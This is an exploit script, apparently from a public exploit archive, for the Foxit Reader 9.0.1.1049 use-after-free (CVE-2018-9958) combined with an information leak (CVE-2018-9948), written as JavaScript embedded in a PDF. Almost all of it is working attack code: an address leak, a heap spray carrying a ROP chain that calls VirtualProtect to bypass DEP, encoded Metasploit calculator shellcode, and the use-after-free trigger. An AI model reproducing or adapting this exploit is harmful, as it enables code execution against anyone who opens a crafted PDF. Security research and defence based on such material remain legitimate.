Foxit Reader 9.0.1.1049 Use-After-Free

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/*  
#---------------------------------------------------------------------------------------------------#  
# Exploit Title : Foxit Reader RCE with DEP bypass on Heap with shellcode #  
# Date : 08/04/2018 (4 Aug) #  
# Exploit Author : Manoj Ahuje #  
# Tested on : Windows 7 Pro (x32) #  
# Software Link : https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English  
# Version : Foxit Reader 9.0.1.1049 #  
# CVE : CVE-2018-9958, CVE-2018-9948 #  
# Credits to "Mr_Me" for Reseach and initial exploit #  
#---------------------------------------------------------------------------------------------------#  
*/  
var heap_ptr = 0;  
var foxit_base = 0;  
  
function heap_spray(size){  
var arr = new Array(size);  
for (var i = 0; i < arr.length; i++) {  
  
// re-claim and stack pivot-0x8  
arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8  
var claimed = new Int32Array(arr[i]);  
var c_length = claimed.length;  
  
/* custom made ROP chain virtualalloc call  
Author: Manoj Ahuje */  
  
claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
claimed[0x01] = foxit_base + 0x01A65184;  
claimed[0x02] = foxit_base + 0x01A65184;  
claimed[0x03] = foxit_base + 0x01A65184;  
claimed[0x04] = foxit_base + 0x14f9195; // # POP EBX # RETN  
claimed[0x05] = foxit_base + 0x41414141; //   
claimed[0x06] = foxit_base + 0x1f224fc; // # ptr to &VirtualProtect()  
claimed[0x07] = foxit_base + 0x0e70281; // # MOV ESI,DWORD PTR DS:[EBX] # RETN   
claimed[0x08] = foxit_base + 0x1582698; // # POP EBP # RETN   
claimed[0x09] = foxit_base + 0xa0dbd; // # & jmp esp   
claimed[0x0a] = foxit_base + 0x14ed06d; // # POP EBX # RETN   
claimed[0x0b] = 0x00000201; // # 0x00000201-> ebx  
claimed[0x0c] = foxit_base + 0x1e62f7e; // # POP EDX # RETN   
claimed[0x0d] = 0x00000040; // # 0x00000040-> edx  
claimed[0x0e] = foxit_base + 0x1ec06a9; // # POP ECX # RETN   
claimed[0x0f] = foxit_base + 0x29bac74; // # &Writable location   
claimed[0x10] = foxit_base + 0xb971f; // # POP EDI # RETN   
claimed[0x11] = foxit_base + 0x177769e; // # RETN (ROP NOP)   
claimed[0x12] = foxit_base + 0x1A89808; // # POP EAX # RETN   
claimed[0x13] = 0x90909090; // # nop  
claimed[0x14] = foxit_base + 0x129d4f0; // # PUSHAD # RETN   
claimed[0x15] = 0x90909090;  
claimed[0x16] = 0x90909090;  
claimed[0x17] = 0x90909090;  
claimed[0x18] = 0x90909090;  
claimed[0x19] = 0x90909090;  
claimed[0x1a] = 0x90909090;  
  
//regular CALCULATOR shellcode from msf  
  
claimed[0x1b] = 0xe5d9e389;  
claimed[0x1c] = 0x5af473d9;  
claimed[0x1d] = 0x4a4a4a4a;  
claimed[0x1e] = 0x4a4a4a4a;  
claimed[0x1f] = 0x434a4a4a;  
claimed[0x20] = 0x43434343;  
claimed[0x21] = 0x59523743;  
claimed[0x22] = 0x5058416a;  
claimed[0x23] = 0x41304130;  
claimed[0x24] = 0x5141416b;  
claimed[0x25] = 0x32424132;  
claimed[0x26] = 0x42304242;  
claimed[0x27] = 0x58424142;  
claimed[0x28] = 0x42413850;  
claimed[0x29] = 0x49494a75;  
claimed[0x2a] = 0x4e586b6c;  
claimed[0x2b] = 0x57306362;  
claimed[0x2c] = 0x53707770;  
claimed[0x2d] = 0x6b696e50;  
claimed[0x2e] = 0x39716455;  
claimed[0x2f] = 0x6e645050;  
claimed[0x30] = 0x6470426b;  
claimed[0x31] = 0x434b6c70;  
claimed[0x32] = 0x6e6c3662;  
claimed[0x33] = 0x7562436b;  
claimed[0x34] = 0x526b6e44;  
claimed[0x35] = 0x46686452;  
claimed[0x36] = 0x5037386f;  
claimed[0x37] = 0x6446764a;  
claimed[0x38] = 0x4e4f4b71;  
claimed[0x39] = 0x354c774c;  
claimed[0x3a] = 0x776c6131;  
claimed[0x3b] = 0x374c7672;  
claimed[0x3c] = 0x5a614a50;  
claimed[0x3d] = 0x374d746f;  
claimed[0x3e] = 0x38573971;  
claimed[0x3f] = 0x30525a62;  
claimed[0x40] = 0x6e376652;  
claimed[0x41] = 0x6252506b;  
claimed[0x42] = 0x624b6c30;  
claimed[0x43] = 0x6c4c576a;  
claimed[0x44] = 0x476c524b;  
claimed[0x45] = 0x6d387461;  
claimed[0x46] = 0x43587133;  
claimed[0x47] = 0x50513831;  
claimed[0x48] = 0x334b6c51;  
claimed[0x49] = 0x35506769;  
claimed[0x4a] = 0x6e534851;  
claimed[0x4b] = 0x7539576b;  
claimed[0x4c] = 0x54736948;  
claimed[0x4d] = 0x4e79637a;  
claimed[0x4e] = 0x6c64356b;  
claimed[0x4f] = 0x6a51354b;  
claimed[0x50] = 0x39514676;  
claimed[0x51] = 0x6f4c6e6f;  
claimed[0x52] = 0x444f4831;  
claimed[0x53] = 0x4861364d;  
claimed[0x54] = 0x6b783447;  
claimed[0x55] = 0x69357450;  
claimed[0x56] = 0x73337366;  
claimed[0x57] = 0x5568494d;  
claimed[0x58] = 0x474d436b;  
claimed[0x59] = 0x68357454;  
claimed[0x5a] = 0x4e686364;  
claimed[0x5b] = 0x6638466b;  
claimed[0x5c] = 0x59313344;  
claimed[0x5d] = 0x6c766143;  
claimed[0x5e] = 0x506c664b;  
claimed[0x5f] = 0x504b4c4b;  
claimed[0x60] = 0x656c4758;  
claimed[0x61] = 0x6c436951;  
claimed[0x62] = 0x6e34634b;  
claimed[0x63] = 0x6831436b;  
claimed[0x64] = 0x61694e50;  
claimed[0x65] = 0x65746554;  
claimed[0x66] = 0x514b5174;  
claimed[0x67] = 0x7351734b;  
claimed[0x68] = 0x427a6269;  
claimed[0x69] = 0x396f6971;  
claimed[0x6a] = 0x734f5170;  
claimed[0x6b] = 0x4e6a436f;  
claimed[0x6c] = 0x7832526b;  
claimed[0x6d] = 0x316d4e6b;  
claimed[0x6e] = 0x675a534d;  
claimed[0x6f] = 0x4f4d6c71;  
claimed[0x70] = 0x57324875;  
claimed[0x71] = 0x43707770;  
claimed[0x72] = 0x61306630;  
claimed[0x73] = 0x6e514678;  
claimed[0x74] = 0x6e6f706b;  
claimed[0x75] = 0x6b6f5967;  
claimed[0x76] = 0x784b4f65;  
claimed[0x77] = 0x39656d70;  
claimed[0x78] = 0x73565032;  
claimed[0x79] = 0x6c666c58;  
claimed[0x7a] = 0x6d6d4d55;  
claimed[0x7b] = 0x496f494d;  
claimed[0x7c] = 0x456c6545;  
claimed[0x7d] = 0x454c7356;  
claimed[0x7e] = 0x6b306b5a;  
claimed[0x7f] = 0x5370394b;  
claimed[0x80] = 0x4d453445;  
claimed[0x81] = 0x6567426b;  
claimed[0x82] = 0x70426343;  
claimed[0x83] = 0x376a506f;  
claimed[0x84] = 0x6b336670;  
claimed[0x85] = 0x3045694f;  
claimed[0x86] = 0x72313563;  
claimed[0x87] = 0x7633654c;  
claimed[0x88] = 0x4235754e;  
claimed[0x89] = 0x67354558;  
claimed[0x8a] = 0x00414170;  
  
for (var j = 0x8b; j < c_length; j++) {  
claimed[j] = 0x6d616e6a;  
}  
}  
}  
  
function leak(){  
/*  
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability  
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948  
Found By: bit from meepwn team  
*/  
  
// alloc  
var a = this.addAnnot({type: "Text"});  
  
// free  
a.destroy();  
  
// reclaim  
var test = new ArrayBuffer(0x60);  
var stolen = new Int32Array(test);  
  
// leak the vftable  
var leaked = stolen[0] & 0xffff0000;  
  
// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)  
foxit_base = leaked-0x01f50000;  
}  
  
function reclaim(){  
  
var arr = new Array(0x10);  
for (var i = 0; i < arr.length; i++) {  
arr[i] = new ArrayBuffer(0x60);  
var rop = new Int32Array(arr[i]);  
  
rop[0x00] = 0x11000048;  
  
for (var j = 0x01; j < rop.length; j++) {  
rop[j] = 0x71727374;  
}  
}  
}  
  
function trigger_uaf(){  
/*  
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability  
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958  
Found By: Steven Seeley (mr_me) of Source Incite  
*/  
  
var that = this;  
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});  
var arr = [1];  
Object.defineProperties(arr,{  
"0":{   
get: function () {  
  
// free  
that.getAnnot(0, "uaf").destroy();  
  
// reclaim freed memory  
reclaim();  
return 1;   
}  
}  
});  
a.point = arr;  
}  
  
leak();  
heap_spray(0x1000);  
  
trigger_uaf();  
  
)>> trailer <</Root 1 0 R>>  
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